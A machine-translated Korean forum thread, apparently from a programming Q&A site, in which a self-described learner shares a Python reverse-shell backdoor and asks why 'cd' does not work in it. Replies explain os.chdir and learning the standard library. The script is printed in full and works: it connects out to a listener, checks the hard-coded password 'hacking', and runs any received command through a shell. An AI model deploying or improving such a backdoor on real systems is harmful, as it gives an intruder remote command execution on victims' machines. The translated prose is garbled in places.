다음은 포트 1234에서 내 컴퓨터에 대한 연결을 설정하는 Python 스크립트입니다. Netcat을 사용하여 해당 포트에서 수신 대기 한 다음 터미널을 사용하여 내 컴퓨터에서 작업을 수행 할 수 있습니다 나는 이것이 사소한 것임을 알고 있지만, 연습을위한 것임).백도어 셸에서 디렉토리를 변경할 수 없습니다.
"ls, mkdir, pwd, rm 또는 심지어"ls/root/Desktop/"과 같은 명령이 작동하지만"cd/root/Desktop "또는"cd .. "는 그렇지 않습니다. . 실제로 정말 나쁜 입력됩니다 작업 "CD는 ..."오류 메시지를 반환하지 않습니다, 그러나 그것 또한 디렉토리를 변경하지 않는 내 파이썬 디렉토리를 떠날 수 없다 여기
는 스크립트입니다..#! /usr/bin/python
import socket
import subprocess
host = "localhost"
port = 1234
passwd = "hacking"
def login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
login()
else:
s.send("Connected #> ")
shell()
def shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()
내가 here에서 얻었다.
이 사람이 나를 도울 수 있습니까? 어떤 생각 w을 나는 디렉토리를 떠날 수 없다? 미리 감사드립니다!
안녕하세요. smassey, 정말 고마워요! 실제로 cmd == ": chdir": ** ** if ** cmd == "cd": **로 바뀌 었습니다. **, 지금은 정확히 원하는대로 작동합니다! 한 가지 질문 : 나는 실제로 Python을 처음 사용 (Python으로 한달 동안 일하고있다.)했다. 나는 os 모듈에 대해 몰랐다. 앞으로 어떤 기능을 추가하려면 "올바른"모듈을 잘 만드는 가장 좋은 방법은 무엇입니까? 포럼에서 항상 묻는 것이 더 나아지기위한 최선의 방법이 아닌 것 같습니다 – Benjamin
안녕하세요 @ 벤자민은 불행히도 그렇게 간단하지 않습니다. 처음에는 어려운 것처럼 보일 지 모르지만 표준 라이브러리는 확실히 출발점입니다. https://docs.python.org/2/library/index.html 자세한 내용을 알 필요가없는 내용입니다 (모든 매개 변수의 모든 기능). 그러나 적어도 사용 가능한 모듈과 일반적인 목적을 알고 있어야합니다. 거기에있는 각 모듈에는 언젠가는 반드시 필요한 자신의 목적이 있습니다. 1 달 만에 훌륭한 시작과이 스크립트를 볼 수있는 재미가 있습니다. (거의 10 년 전 정확히 같은 방식으로 여행을 시작했습니다 : "공격적인 비단뱀") – smassey
안녕하세요 smassey, 표준 라이브러리가 거대합니다! 어쨌든 고마워, 내가 거기에서 시작하려고하고 특히 나를 위해 흥미로운 모듈을 알아낼 것입니다. 대단히 감사합니다 :). 어제는 코드를 다시 살펴보고 다른 질문을 제기했습니다. ** os.chdir() **의 목적을 쉽게 볼 수 있지만, 왜 이것이 어떻게 공격자가 사용하고있는 터미널에서 실제로 작동하는지 이해하지 못합니다. ** os.chdir() **을 사용하는 이유는 공격자가 사용중인 현재 디렉토리에 영향을 미치고 있습니까? 제 질문이 당신에게 의미가 있습니까? 다시 한번 고마워요. – Benjamin